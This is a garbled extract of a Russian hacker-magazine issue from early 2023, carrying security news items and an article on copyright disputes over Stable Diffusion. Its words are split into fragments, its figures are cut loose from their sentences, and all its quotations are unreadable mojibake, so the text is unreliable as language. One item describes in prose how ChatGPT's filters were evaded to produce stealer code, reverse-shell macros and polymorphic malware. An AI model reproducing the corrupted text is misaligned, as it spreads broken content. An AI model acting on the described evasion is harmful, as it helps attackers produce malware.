тале 2022 года по срав нению с пре дыду щим квар талом. Рас тет и сред ний раз мер ком паний,
которые ста новят ся жер тва ми вымога телей, — тоже из-за того, что зло умыш ленни кам ста ли
реже пла тить: ата ки на более круп ные ком пании поз воля ют хакерам тре бовать более круп ные
выкупы.

Сред няя и меди анная сум ма выкупа

Ме диан ный раз мер ком пании

Ин терес но, что в 2022 году вымога тель ская мал варь оста валась активной в сред нем  дней,
что нам ного мень ше по срав нению со  дня ми в 2021 году и  дня ми в 2020 году.

70
153 265

Ис сле дова тели свя зыва ют это с тем, что зло умыш ленни ки стре мят ся скрыть свою активность
и дей ство вать быс трее, пос коль ку мно гие из них работа ют сра зу с нес коль кими штам мами
вре донос ного ПО.

«Срок жиз ни» вымога тель ско го ПО по годам

В ANDROID 14
ЗАПРЕТЯТ СТАРЫЕ
ПРИЛОЖЕНИЯ
В гря дущей Android 14 появит ся зап рет на уста нов ку при ложе ний, пред назна -
чен ных для уста рев ших вер сий Android. Нель зя будет даже заг рузить APK-файл
и уста новить вруч ную. Раз работ чики наде ются, что эти меры помогут в борь бе
с вре донос ным ПО.

Пра вила Google изме нились в прош лом месяце, и теперь недав но добав -
ленные в Play Store при ложе ния дол жны быть ори енти рова ны как минимум
на Android 12. Более того, если рань ше раз работ чик хотел соз дать при ложе ние
для более ста рой вер сии, он мог поп росить сво их поль зовате лей заг рузить
нуж ный APK-файл вруч ную. Кро ме того, если при ложе ние для Android
не обновля лось пос ле изме нения гай длай нов, Play Store все рав но про дол жал
пре дос тавлять его поль зовате лям, уста новив шим при ложе ние до это го.

В Android 14 тре бова ния к API будут ужес точены, а уста нов ку уста рев ших
при ложе ний пол ностью заб локиру ют. Так, изме нения зап ретят заг ружать APK-
фай лы поль зовате лям и уста нав ливать такие при ложе ния магази нам.

Сна чала устрой ства на Android 14 будут бло киро вать толь ко при ложе ния,
пред назна чен ные для сов сем ста рых вер сий Android. Но со вре менем пла ниру -
ется повысить этот порог до Android 6.0 (Marshmallow). Ско рее все го, в ито ге
каж дый про изво дитель устрой ств самос тоятель но уста новит порог для уста -
рев ших при ложе ний (если вооб ще будет его уста нав ливать).

Бло кируя уста рев шие при ложе ния, в Google наде ются, что это поможет
сдер жать рас простра нение мал вари для Android. Так, раз работ чики говорят,
что некото рые вре донос ные при ложе ния намерен но нацели вают ся на ста рые
вер сии Android, обхо дя таким спо собом защит ные механиз мы.

Продолжение статьи →

https://xakep.ru/2022/04/05/hydra-down/
https://holdsecurity.com/news/2023/01/solaris-russian-drug-platform-exposed/


 Начало статьи←

CHATGPT
ЗАИНТЕРЕСОВАЛ
ХАКЕРОВ
Те му соз дания мал вари с помощью ChatGPT уже прис таль но изу чает ИБ-сооб -
щес тво, а про веден ные спе циалис тами экспе римен ты показы вают, что такое
при мене ние инс тру мен та дей стви тель но воз можно.

Сна чала спе циалис ты ком пании Check Point , что зло -
умыш ленни ки (в том чис ле не име ющие никако го опы та в прог рамми рова нии)
уже начали исполь зовать язы ковую модель OpenAI для соз дания вре доно сов
и фишин говых писем, которые затем мож но будет исполь зовать в вымога тель -
ских, спа мер ских, шпи онских, фишин говых и про чих кам пани ях.

об ратили вни мание

К при меру, еще в прош лом месяце на неназ ванном хакер ском форуме был
опуб ликован скрипт, автор которо го заявил, что это его пер вый опыт в прог -
рамми рова нии, а ChatGPT силь но помог ему в написа нии кода. Иссле дова тели
отме тили, что получен ный код мож но прев ратить в готовую прог -
рамму-вымога тель, если устра нить ряд проб лем с син такси сом.

В дру гом слу чае еще один учас тник хак-форума с луч шей тех ничес кой под -
готов кой опуб ликовал два при мера кода, написан ного с исполь зовани ем
ChatGPT. Пер вым был Python-скрипт для кра жи информа ции, который искал
опре делен ные типы фай лов (нап ример, PDF, докумен ты MS Office и изоб -
ражения), копиро вал их во вре мен ный каталог, сжи мал и отправ лял на сер вер,
кон тро лиру емый зло умыш ленни ком. Вто рой фраг мент кода был написан
на Java и тай но заг ружал PuTTY, запус кая его с помощью PowerShell.

Так же сто ит упо мянуть, что в декаб ре прош лого года экспер ты Check Point
и сами поп робова ли при менить мощ ности ChatGPT для раз работ ки вре донос -
ного ПО и фишин говых писем. Резуль таты получи лись впол не рабочи ми
и пуга ющи ми.

Нап ример, ChatGPT поп росили соз дать вре донос ный мак рос, который
мож но было скрыть в фай ле Excel, прик реплен ном к пись му. Сами экспер ты
не написа ли ни строч ки кода, но сра зу получи ли доволь но при митив ный
скрипт. ChatGPT поп росили пов торить попыт ку и улуч шить код, пос ле чего
качес тво кода дей стви тель но зна читель но повыси лось.

За тем иссле дова тели исполь зовали более прод винутый ИИ-сер вис Codex
для раз работ ки реверс-шел ла, скрип та для ска ниро вания пор тов, обна руже ния
песоч ницы и ком пиляции Python-кода в исполня емый файл Windows.

«

»

«Â ðåçóëü òàòå ìû ñîç äàëè ôèøèí ãîâîå ýëåê òðîí íîå ïèñü ìî ñ ïðèê -

ðåïëåí íûì ê íåìó äîêóìåí òîì Excel, ñîäåð æàùèì âðå äîíîñ íûé êîä

VBA, êîòîðûé çàã ðóæà åò ðåâåðñ‑øåëë íà öåëåâóþ ìàøèíó. Âñÿ ñëîæ íàÿ

ðàáîòà áûëà ïðî äåëà íà ÈÈ, à íàì îñòà ëîñü ëèøü ïðî âåñ òè àòà êó», —

ðåçþìè ðîâà ëè òîã äà ñïå öèàëèñ òû.

К тому же в Check Point отме тили быс тро рас тущий инте рес к ChatGPT сре ди
рус ско языч ных хакеров: язы ковая модель может помочь им в мас шта биро -
вании вре донос ной активнос ти. Так, рус ско языч ные зло умыш ленни ки ста рают -
ся обой ти огра ниче ния для дос тупа к API OpenAI. На хак-форумах уже делят ся
совета ми, как разоб рать ся с бло киров кой по IP, решить проб лему с бан ков ски -
ми кар тами и номера ми телефо нов, то есть всем тем, что необ ходимо
для получе ния дос тупа к ChatGPT.

Сло вом, тема обхо да геоб локиро вок сей час весь ма популяр на в прес -
тупном сооб щес тве, ведь в нас тоящее вре мя ChatGPT недос тупен в Рос сии,
Китае, Афга нис тане, Укра ине, Белару си, Венесу эле и Ира не.

Вско ре пос ле Check Point ана лити ки из ком пании CyberArk под робно опи -
сали, как соз давать полимор фные вре доно сы с исполь зовани ем ChatGPT. При -
чем вско ре они пла ниру ют опуб ликовать часть этой работы в сети «в учеб ных
целях».

Фак тичес ки в CyberArk  филь тры кон тента ChatGPT и про -
демонс три рова ли, как «с очень неболь шими уси лиями и инвести циями со сто -
роны зло умыш ленни ка мож но неп рерыв но зап рашивать ChatGPT, каж дый раз
получая уни каль ный, фун кци ональ ный и про верен ный фраг мент кода».

су мели обой ти

Схе ма пред ложен ной CyberArk ата ки

«

»

«Ýòî ïðè âîäèò ê ñîç äàíèþ ïîëèìîð ôíî ãî âðå äîíîñ íîãî ÏÎ, êîòîðîå

íå äåìîíñ òðè ðóåò âðå äîíîñ íîãî ïîâåäå íèÿ ïðè õðà íåíèè íà äèñ êå,

ïîñ êîëü êó ïîëó÷à åò êîä îò ChatGPT, à çàòåì âûïîë íÿåò åãî, íå îñòàâëÿÿ

ñëå äîâ â ïàìÿòè. Êðî ìå òîãî, ìû âñåã äà èìå åì âîç ìîæíîñòü ïîï ðîñèòü

ChatGPT èçìå íèòü êîä», — ñîîá ùèëè ñïå öèàëèñ òû.

 ДОМЕНОВ В ЗОНЕ .RU ЗАКРЫЛИСЬ88 200

Сог ласно ста тис тике «Тех ничес кого цен тра Интернет» (под держи вает глав ные реес тры
доменов .ru, .рф, .su), в 2022 году количес тво доменов в зоне .ru сок ратилось до 

 доменов, лишив шись сра зу  доменов. Дело в том, что по ито гам 2022 года
более  физ лиц и ИП перес тали быть адми нис тра тора ми, а так же от доменов отка -
зались мно гие нерези ден ты и инвесто ры.

4,93 мил -
лиона 88  200

250 тысяч

При этом прос транс тва .рф и .su впер вые с 2016 года показа ли рост, хотя и сим воличес кий —
на  (до 676 200 доменов) и  (до 105 900) соот ветс твен но. Для срав нения:
в течение 2021 года чис ло доменов зоны .рф сни зилось на , а чис ло доменов .su —
на .

1308 514
36 800

3400

В ТЦИ отме чают, что пос ле начала спе циаль ной воен ной опе рации на Укра ине круп ней ший
в мире регис тра тор GoDaddy прек ратил переп родажу и офор мле ние регис тра ций доменов .ru
и так же пос тупил сер вис 101domains. Регис тра торы Namecheap, Bluehost и Ionos огра ничи ли
или прек ратили работу с кли ента ми из РФ.

СЛИВ CELLEBRITE
И MSAB
Груп па хак тивис тов Enlace Hacktivista заяви ла, что ано ним ный источник
передал ей ПО и докумен тацию ком паний Cellebrite и MSAB, которые пре дос -
тавля ют пра воох ранитель ным орга нам мно гих стран мира инс тру мен ты
для взло ма мобиль ных устрой ств и про веде ния дру гих кибер кри мина лис тичес -
ких опе раций.

На пом ню, что Cellebrite — это незави симые кибер кри мина лис ты, которые
спе циали зиру ются на извле чении дан ных с мобиль ных устрой ств (iOS
и Android). К при меру, нес коль ко лет назад изра иль скую фир му 
основным кан дидатом на роль под рядчи ка ФБР, ког да пра воох раните ли иска -
ли спе циалис тов для взло ма iPhone тер рорис та.

на зыва ли

В целом Cellebrite не раз  пра витель ствам и пра воох ранитель ным
орга нам раз ных стран взла мывать кон фиско ван ные мобиль ные телефо ны (в
основном за счет исполь зования уяз вимос тей, которые игно риро вали про изво -
дите ли устрой ств) и не раз под верга лась кри тике со сто роны пра воза щит ников
и СМИ.

по мога ла

Ана логич ной деятель ностью занима ется и кри мина лис тичес кая ком пания
MSAB из Шве ции.

Как сооб щили пред ста вите ли Enlace Hacktivista, в их руках ока -
зались 1,7 Тбайт дан ных Cellebrite и 103 Гбайт дан ных MSAB. Фай лы уже опуб -
ликова ны в откры том дос тупе, их мож но ска чать через сайт DDoSecrets, сайт
Enlace Hacktivista и через тор рент.

Хак тивис ты напом нили, что инс тру мен ты обе их ком паний неред ко исполь зуют -
ся для сбо ра информа ции с телефо нов жур налис тов, акти вис тов и дис сиден тов
по все му миру, сами ком пании не раз обви няли в том, что они работа ют с реп -
рессив ными режима ми, а их ПО неод нократ но при меня лось для пря мого
наруше ния прав челове ка.

При этом нуж но заметить, что для Cellebrite это далеко не пер вая утеч ка
дан ных. Пер вый раз, еще в 2016 году, инс тру мен ты кибер кри мина лис тов слу -
чай но  исполь зовав шая их ком пания McSira Professional Solutions.
Годом поз же, в 2017-м, Cellebrite и вов се под вер глась хакер ской ата ке. Тог да
у ком пании похити ли , которые в ито ге были опуб -
ликова ны в откры том дос тупе.

сли ла в сеть

бо лее 900 Гбайт дан ных

ГЛАВА OPENAI СРАВНИЛ CHATGPT С КАЛЬКУЛЯТОРОМ

Сэм Аль тман, гла ва ком пании OpenAI, соз давшей язы ковую модель ChatGPT, дал изда нию
StrictlyVC интервью, в котором поделил ся сво ими мыс лями о будущем ИИ, пос тарал ся раз -
веять опа сения о соз дании силь ного ИИ (AGI), а так же опи сал луч ший и худ ший сце нарий раз -
вития ситу ации для челове чес тва. Выб рали для тебя наибо лее инте рес ные цитаты:

→ «Думаю, луч ший сце нарий так неверо ятно хорош, что мне даже труд но
это вооб разить. Он так хорош, что ты кажешь ся пси хом, ког да начина ешь рас -
ска зывать об этом. Могу пред ста вить, каково это, если у нас [челове чес тва]
появит ся неверо ятное изо билие и сис темы, которые смо гут раз решать тупико -
вые ситу ации, улуч шат все аспекты реаль нос ти и поз волят всем нам жить луч -
шей жизнью».

«Пло хой сце нарий (и я счи таю, что важ но говорить об этом) — это вро де
как смерть для всех нас. Поэто му слож но пере оце нить важ ность безопас ности
ИИ. Но меня боль ше бес поко ят веро ятные зло упот ребле ния в крат косроч ной
пер спек тиве».

«У нас нет нас тояще го AGI. Полагаю, [AGI] — это то, чего от нас ждут,
но тог да GPT-4 разоча рует людей, которые ожи дают чего-то подоб ного.
Переход к AGI в целом будет не таким рез ким, как ожи дают некото рые. Думаю,
он получит ся гораз до более раз мытым и пос тепен ным».

«Генера тив ный текст — это то, к чему нам всем нуж но адап тировать ся. Мы
адап тирова лись к каль кулято рам и изме нили тес тирова ния на уро ках матема -
тики. Без сом нения, [ChatGPT] — это более экс тре маль ная вер сия, но и пре иму -
щес тва от нее тоже более экс тре маль ные».

ДАРКНЕТ ПЕРЕХОДИТ
НА ПРИЛОЖЕНИЯ
ДЛЯ ANDROID
Спе циалис ты из ком пании Resecurity замети ли, что мар кет плей сы дар кне та,
тор гующие нар котика ми и дру гими незакон ными вещес тва ми, начали исполь -
зовать собс твен ные при ложе ния для Android, что бы повысить кон фиден циаль -
ность и избе жать вни мания пра воох ранитель ных орга нов.

Ис сле дова тели наб люда ют эту тен денцию с треть его квар тала 2022 года.
По их мне нию, такое поведе ние прес тупни ков ста ло отве том на прош логод ние
дей ствия пра воох ранитель ных орга нов в целом и  в час тнос -
ти. Пос ле лик видации это го мар кет плей са пра воох раните лями нес коль ко
более мел ких игро ков попыта лись вос поль зовать ся ситу ацией и перема нить
ауди торию «Гид ры» к себе.

зак рытие «Гид ры»

Эк спер ты при вели сра зу семь при меров тор говых пло щадок, выпус тивших
APK-фай лы собс твен ных Android-при ложе ний, через которые кли енты могут
получить дос туп к магази нам и сер висам: Yakudza, TomFord24, 24Deluxe,
PNTS32, Flakka24, 24Cana и MapSTGK. Инте рес но, что все они исполь зовали
дви жок M-Club CMS для соз дания сво их APK, то есть, ско рее все го, вос поль -
зовались услу гами одно го и того же раз работ чика.

«

»

«Íåêîòî ðûå èç ýòèõ ìîáèëü íûõ ïðè ëîæå íèé áûëè íåäàâ íî îáíà ðóæå íû

íàøèìè ýêñïåð òàìè íà ìîáèëü íûõ óñòðîé ñòâàõ, èçú ÿòûõ ïðà âîîõ -

ðàíèòåëü íûìè îðãà íàìè, îíè ïðè íàä ëåæàëè íåñ êîëü êèì ïîäîç ðåâà -

åìûì, ïðè ÷àñ òíûì ê òîð ãîâëå íàð êîòèêà ìè è äðó ãèì íåçàêîí íûì îïå -

ðàöè ÿì», — ðàñ ñêà çàëè â Resecurity.

От чет ком пании гла сит, что такие при ложе ния поз воля ют переда вать дан ные
о заказах нар котиков, а так же отправ лять покупа телю геог рафичес кие коор -
динаты «кла да», оставлен ного курь ером. Так как обмен информа цией теперь
про исхо дит в нес коль ких раз ных при ложе ниях, это порож дает фраг мента цию
и меша ет пра воох ранитель ным орга нам отсле живать прес тупни ков.

«

»

«Èíôîðìà öèÿ (â ïðè ëîæå íèÿõ) ïåðåäà åòñÿ â âèäå èçîá ðàæåíèé

äëÿ ïðå äîò âðà ùåíèÿ âîç ìîæíîé èíäåêñà öèè. Ñîîá ùåíèÿ ìîãóò ñîäåð -

æàòü ñâå äåíèÿ î òîì, íàñ êîëü êî ãëó áîêî „êëàä“ ñïðÿ òàí ïîä çåì ëåé,

è ëþáóþ äðó ãóþ èíôîðìà öèþ äëÿ åãî ïîèñ êà», — ñîîá ùèëè àíà ëèòè êè.

В Resecurity счи тают, что боль шинс тво новых тор говых пло щадок в 2023 году
будут исполь зовать собс твен ные при ложе ния для Android, которые пос тепен но
вооб ще заменят собой при выч ные поль зовате лям форумы и мар кет плей сы.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
При ват ные репози тории Slack на GitHub ском про мети рова ны

Дан ные 200 мил лионов поль зовате лей Twitter опуб ликова ны в откры том дос тупе

Ха керы обхо дят CAPTCHA на GitHub для авто мати зации соз дания учет ных записей

Ис сле дова тели взло мали авто мобиль ные номера, работа ющие на элек трон ных чер нилах

ИИ Microsoft может ими тиро вать голос челове ка по трех секун дно му образцу

В защищен ном мес сен дже ре Threema наш ли серь езные уяз вимос ти

Ха керы утвер жда ют, что похити ли дан ные 3,5 мил лиона поль зовате лей поч ты Mail.ru

Аме рикан ские влас ти зак рыли крип товалют ную бир жу Bitzlato, свя зав ее с Conti и Hydra

Мал варь Hook поз воля ет уда лен но кон тро лиро вать смар тфо ны на Android

Ха керы про дают исходни ки League of Legends на аук ционе

https://xakep.ru/2023/01/10/chatgpt-malware/
https://xakep.ru/2023/01/18/malicious-chatgpt/
https://xakep.ru/2016/03/24/fbi-iphone/
https://xakep.ru/2020/01/20/cellebrite-scotland/
https://xakep.ru/2016/10/26/cellebrite-firmware-leak/
https://xakep.ru/2017/02/03/cellebrite-dump/
https://xakep.ru/2022/04/05/hydra-down/
https://xakep.ru/2023/01/09/slack-hacked/
https://xakep.ru/2023/01/09/one-more-twitter-leak/
https://xakep.ru/2023/01/11/automated-libra/
https://xakep.ru/2023/01/12/reviver/
https://xakep.ru/2023/01/12/vall-e/
https://xakep.ru/2023/01/12/threema-flaws/
https://xakep.ru/2023/01/13/mailru-leak/
https://xakep.ru/2023/01/19/bitzlato-down/
https://xakep.ru/2023/01/20/hook/
https://xakep.ru/2023/01/26/lol-auction/
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Диф фузи онные ней росети Stable Diffusion,
Midjourney, Dream и им подоб ные сто ят
на пороге прев ращения из занима тель ной
игрушки в рабочий инс тру мент. Что дол -
жно про изой ти, что бы твор чес тво искусс -
твен ного интеллек та смог ло вый ти
из юри дичес кой «серой зоны»?

Ге нери руемые ней росетя ми изоб ражения не толь ко вско лых нули поль зовате -
лей соц сетей, но и наш ли впол не «взрос лое» при мене ние. Кар тинки, которые
выда ют ней росети, вов сю исполь зуют ся для соз дания иллюс тра ций (в том чис -
ле и в «Хакере») — и в исходном виде, и худож никами в качес тве осно вы.

Диф фузи онные ней росети тем вре менем работа ют в сво еоб разной «серой
зоне» автор ско го пра ва. Круп ные ком пании обхо дят твор чес тво ней росетей
сто роной, опа саясь воз можных юри дичес ких пос ледс твий, а час тные поль -
зовате ли о легаль ных аспектах даже не задумы вают ся.

«Девоч ка с пер сиками», Midjourney, по мотивам Вален тина Серова

Юри дичес кая база, регули рующая деятель ность искусс твен ного интеллек та,
не нарабо тана; законы об автор ском пра ве нуж дают ся в уточ нени ях. Поп робу -
ем разоб рать ся, наруша ют ли что-нибудь соз датели диф фузи онных ней -
росетей и пот ребите ли сге нери рован ных ими изоб ражений.

«Художес твен ные» диф фузи онные ней росети спо соб ны соз давать необыч -
ные, а при некото ром ста рании — весь ма качес твен ные изоб ражения
по задан ным клю чевым сло вам. Уже появи лось поколе ние дизай неров, боль -
шая часть работы которых — гра мот но сос тавить зап рос на генера цию нуж ного
заказ чику изоб ражения.

В резуль тате час то получа ются яркие, необыч ные, ори гиналь ные кар тинки,
непохо жие на сущес тву ющие арты. Отло жим воп рос о тех ничес ком несовер -
шенс тве и некото рой «корявос ти» изоб ражений; в кон це кон цов, ней росетям
без году неделя, у них всё впе реди. Погово рим вот о чем: кому при над лежит
резуль тат работы искусс твен ного интеллек та, мож но ли его закон но исполь -
зовать в ком мерчес ких целях и не наруша ет ли это чьих-либо прав?

В качес тве «сфе ричес кого ИИ в ваку уме» рас смот рим про дукт Stable
Diffusion. Это неком мерчес кое решение с пре дель но щед рой . Сог -
ласно этой лицен зии соз данные при помощи ней росети арты при над лежат
конеч ному поль зовате лю, который сге нери ровал зап рос. Казалось бы, что
может быть неод нознач ного в лицен зии, которая пре дос тавля ет «perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license
to reproduce, prepare, publicly display, publicly perform, sublicense, and distribute
the Complementary Material, the Model, and Derivatives of the Model»?

ли цен зией

Од нако такую неод нознач ность наш ли. Пер вой лас точкой ста ла широко
извес тная в узких кру гах пуб ликация в одной «экс тре мист ской» соци аль ной
сети. Поль зователь с под поль ной клич кой Eugene Arenhaus пишет:

«

»

Ïîñ ëåäíåå âðå ìÿ íåêîòî ðûå ìîè ôðåí äû àêòèâíî ïîñ òÿò ïðî äóê öèþ

Midjourney è ïðî ÷èõ «ãåíåðà òîðîâ èçîá ðàæåíèé» íà îñíî âå Stable

Diffusion. Âèäèìî, ìíå ïðè äåò ñÿ ïèñàòü ïîä ðîáíûé ðàç áîð ýòîé òåõ -

íîëîãèè. À ïîêà ïðî øó âàñ âñåõ ýòî ãî íå äåëàòü — íå ðåïîñ òèòü «ÈÈ

íàðèñî âàë êàð òèíêó» è íå ïîëü çîâàòü ñÿ ñàìèì. Îñíî âàíèå: ôàê òû

ïîêàçû âàþò, ÷òî ïîä âèäîì «ÈÈ» íàì âòþ õèâà þò íå÷ òî âðî äå ôîòîðî -

áîòà, â êîòîðî ãî çàëîæå íû áîëåå ïîëóìèë ëèàð äà èñõîäíûõ èçîá -

ðàæåíèé, âçÿ òûõ èç èíòåðíå òà áåç ñïðî ñó è ñ íàðóøå íèåì îãðîìíî ãî

êîëè÷åñ òâà àâòîð ñêèõ ïðàâ è ëèöåí çèîí íûõ ñîã ëàøåíèé.

Êàæ äûé êóñî÷åê â ëþáîì «ÈÈ íàðèñî âàë» íà äåëå íàðèñî âàë õóäîæ -

íèê, êîòîðî ãî îáîê ðàëè ðàç ðàáîò ÷èêè Stable Diffusion è ñîñ òàâèòå ëè

áàçû LAION-5B.

В дан ном слу чае автор сооб щения чрез мерно упро щает проб лему. Изоб -
ражения, генери руемые диф фузи онны ми ней росетя ми, не явля ются «кол -
лажем» или «фоторо ботом», а утвер жде ние про то, что у «кусоч ков» работ ИИ
есть нас тоящие авто ры, по мень шей мере спор ное. И как раз такой спор
открыт в виде судеб ного иска  (в The Verge пуб ликовал -
ся ).

Stable Diffusion litigation
под робный раз бор

«

»

Stable Diffusion îòíî ñèò ñÿ ê êàòåãî ðèè ñèñ òåì èñêóññ òâåí íîãî èíòåëëåê -

òà, íàçûâà åìûõ ãåíåðà òèâ íûì ÈÈ. Ýòè ñèñ òåìû îáó ÷àþò ñÿ íà îïðå -

äåëåí íîì âèäå òâîð ÷åñêèõ ðàáîò — ê ïðè ìåðó, íà òåê ñòå, ïðîã ðàì ìíîì

êîäå èëè èçîá ðàæåíè ÿõ — è çàòåì ìèê øèðó þò ýòè ðàáîòû äëÿ ïîëó÷å -

íèÿ («ãåíåðà öèè») äðó ãèõ ðàáîò òîãî æå âèäà.

Ñêî ïèðî âàâ ïÿòü ìèë ëèàð äîâ èçîá ðàæåíèé áåç ñîã ëàñèÿ îðè ãèíàëü -

íûõ õóäîæ íèêîâ, Stable Diffusion èñïîëü çóåò ìàòåìà òè÷åñ êèé ïðî öåññ,

íàçûâà åìûé äèô ôóçè åé, äëÿ õðà íåíèÿ ñæà òûõ êîïèé ýòèõ îáó ÷àþùèõ

èçîá ðàæåíèé, êîòîðûå, â ñâîþ î÷å ðåäü, ðåêîì áèíèðó þòñÿ äëÿ ïîëó÷å -

íèÿ äðó ãèõ èçîá ðàæåíèé. Èíû ìè ñëî âàìè, ýòî èíñ òðó ìåíò XXI âåêà

äëÿ ïðî èçâîäñ òâà êîë ëàæåé.

Ïî ëó÷åí íûå èçîá ðàæåíèÿ ìîãóò âíåø íå íàïîìè íàòü èëè íå íàïîìè -

íàòü èçîá ðàæåíèÿ, êîòîðûå íåé ðîñåòü èñïîëü çîâàëà äëÿ îáó ÷åíèÿ.

Íåçàâè ñèìî îò ýòî ãî, ñãå íåðè ðîâàí íûå èçîá ðàæåíèÿ ïîëó÷å íû

èç êîïèé îáó ÷àþùèõ èçîá ðàæåíèé è êîí êóðèðó þò ñ íèìè íà ðûí êå.

Â ëó÷ øåì ñëó ÷àå ñïî ñîá íîñòü Stable Diffusion íàâîä íèòü ðûíîê ïðàê -

òè÷åñ êè íåîã ðàíè÷åí íûì êîëè÷åñ òâîì êîí òðà ôàê òíûõ èçîá ðàæåíèé

íàíåñåò íåïîï ðàâèìûé óùåðá ðûí êó èñêóññ òâà è õóäîæ íèêîâ.

Что мы видим из сути предъ явленных пре тен зий? Авто ры иска приз нают, что
сге нери рован ные ней росетью кар тинки могут получать ся совер шенно непохо -
жими на ори гина лы, в то вре мя как «сущес твен ное сходс тво» всег да было
клас сичес ким приз наком, на который опи рались судеб ные экспер ты в попыт -
ках опре делить, явля ется ли рас смат рива емая работа «про изводным»
или «ори гиналь ным» про изве дени ем.

Что такое «производное произведение» и «существенное

сходство»?
С точ ки зре ния законов об автор ском пра ве про изве дения, осно ван ные
на дру гих работах, могут быть «про изводны ми про изве дени ями». Автор ские
пра ва на такие про изве дения опре деля ются закона ми США сле дующим обра -
зом: «Про изводные работы могут быть соз даны с раз решения вла дель ца
копирай та или из работ, которые явля ются все общим дос тоянием».

Рос сий ское законо датель ство видит «про изводные про изве дения» так:
«Соз давая про изве дение, осно ван ное на про изводном, вы соз даете новое,
защищен ное автор ским пра вом про изве дение. В то же вре мя пра ва на ори -
гиналь ный объ ект так же оста ются и никуда не про пада ют. Пуб ликовать про -
изводные про изве дения мож но с раз решения авто ра ори гиналь ного про изве -
дения».

Про изводное про изве дение необя затель но дол жно точ но пов торять ори -
гинал, что бы оно было приз нано имен но «про изводным». Более того, в цир -
куляре Circular 14: Copyright in Derivative Works and Compilations ( ) при -
водят ся такие при меры про изводных про изве дений, как «скуль пту ра, соз -
данная по рисун ку», «рисунок, сде лан ный по фотог рафии», «литог рафичес кий
оттиск, осно ван ный на кар тине» (это доволь но древ ний закон: под литог рафи -
ей в нем под разуме вают ся вов се не прин ты на фут болках).

PDF

Ос новным кри тери ем «про изводно го про изве дения» счи тает ся «сущес -
твен ное сходс тво» (substantial similarity) меж ду ори гиналь ной и про изводной
работа ми. Чет кого опре деле ния «сущес твен ного сходс тва» нет, одна ко 

 судеб ная про цеду ра, поз воля ющая опре делить его в каж дом кон крет ном
слу чае.

су щес -
тву ет

Та ким обра зом, авто ры иска жалу ются не на то, что сге нери рован ные ИИ
работы визу аль но похожи (име ют «сущес твен ное сходс тво») на работы живых
худож ников, а на то, что защищен ные законом об автор ском пра ве изоб -
ражения исполь зовались без раз решения пра вооб ладате лей в новом качес тве:
в качес тве обу чающе го матери ала. Гру бо говоря, если суд ста нет на сто рону
истцов, сге нери рован ные нынеш ним поколе нием ней росетей кар тинки могут
стать «нелицен зион ными» со все ми вытека ющи ми пос ледс тви ями незави симо
от того, есть ли в них «сущес твен ное сходс тво» с ори гина лами или нет.

«Купание крас ного коня», Midjourney, по мотивам Кузь мы Пет рова-Вод -
кина

Так ли это на самом деле? Stable Diffusion дей стви тель но берет для тре ниров -
ки «кар тинки из интерне та» (наде юсь, мне не нуж но объ яснять, что слу чай но
взя тую «кар тинку из интерне та» нель зя прос то так исполь зовать, нап ример,
в качес тве обложки для кни ги?). Для соз дания базы дан ных были прив лечены
мил лионы изоб ражений как из области пуб лично го дос тояния (public domain),
так и защищен ных более или менее жес тки ми лицен зиями.

Ли цен зии быва ют раз ные: от прак тичес ки неог раничен ных (мож но исполь -
зовать как угод но без ука зания авторс тва ори гина ла) до чрез вычай но лимити -
рован ных (раз реша ются толь ко ого ворен ные в лицен зии виды при мене ния,
при чем исклю читель но лицен зиату). В дан ном иске истцы утвер жда ют, что ней -
росеть исполь зовала для обу чения «огромное чис ло работ, защищен ных
автор ским пра вом, без сог ласия, упо мина ния и ком пенса ции [пра вооб ладате -
лям]».

Собс твен но, вот мы и дош ли до сути иска. В спо ре хозяй ству ющих субъ -
ектов одна сто рона (соз датели моделей) хочет обу чить искусс твен ный
интеллект на мил лионах бес плат ных кар тинок, а авто ры ори гиналь ных изоб -
ражений, может быть, и не про тив, но хотели бы, что бы им ком пенси рова ли их
труд или хотя бы отнеслись с дол жным ува жени ем.

«Звез дная ночь», Midjourney, по мотивам Вин сента Ван Гога

Кто здесь прав? Приз наюсь, я не знаю, и, пожалуй, не зна ет ник то. Если будет
решение суда (а его может и не быть, если сто роны догово рят ся во вне судеб -
ном поряд ке), то будет соз дан пре цедент, который может ока зать серь езное
вли яние на законо датель ство, регули рующее соз дание «про изводных про изве -
дений». А вот сам факт того, что был ини цииро ван судеб ный про цесс, я вос -
при нимаю сугубо положи тель но. Неожи дан но? Сов сем нет, и вот почему.

ÂÛÕÎÄ ÈÇ ÑÅÐÎÉ ÇÎÍÛ

Се год ня как сами диф фузи онные ней росети, так и соз данные ими изоб -
ражения находят ся в сво еоб разной серой зоне законов об автор ском пра ве.
Сей час мы можем наб людать момент зарож дения нового явле ния, для регули -
рова ния которо го пока что нет ни пра вовой осно вы, ни тем более пра воп -
римени тель ной прак тики. Вспом ним интернет в начале сво его раз вития
и вспом ним «кар тинки из интерне та», которые час тень ко встре чались
на обложках книг, изда ваемых впол не ува жаемы ми изда тель ства ми.

В каком положе нии ока жут ся диф фузи онные ней росети зав тра, через год,
через десять лет? Думаю, со вре менем ста тус ней росетей будет зак реплен
законо датель но. А вот каким имен но обра зом — пока неиз вес тно. Может быть,
раз работ чиков ней росетей обя жут исполь зовать для обу чения толь ко работы
из области все обще го дос тояния. Быть может, в лицен зию Creative Commons
добавит ся пункт, упо мина ющий ней росети, в явном виде раз реша ющий
или зап реща ющий исполь зование лицен зион ных кар тинок для обу чения ИИ.

А может быть, соз дателей или опе рато ров ИИ зас тавят вып лачивать роял ти
пра вооб ладате лям. Или не пра вооб ладате лям, а в некий вновь соз данный кол -
лектив ный орган управле ния автор ски ми пра вами (нер вно огля дыва емся
на Михал кова). Ког да это про изой дет, биз несы вздох нут с облегче нием: вмес -
то бес плат ных кар тинок с непонят ными (и отто го страш ными) юри дичес кими
пос ледс тви ями они получат дос туп к очень дешевым сге нери рован ным изоб -
ражени ям, которые мож но будет без бояз ненно исполь зовать в ком мерчес ких
целях.

А что худож ники, авто ры ори гиналь ных изоб ражений, на которых тре ниру -
ются ней росети? Полагаю, они ока жут ся в той же ситу ации, в которой ока -
зались про фес сиональ ные фотог рафы пос ле появ ления фотобан ков (спой лер:
они не вымер ли).

Getty Images против Stability AI
Че рез нес коль ко дней пос ле пуб ликации статьи на соз дателей Stable Diffusion

 один из круп ней ших фотобан ков Getty Images. Суть пре тен зии —
в наруше нии автор ских прав ком пании на эта пе обу чения ней росети.
по дал в суд

В отли чие от кол лектив ного иска, который мы под робно разоб рали в статье,
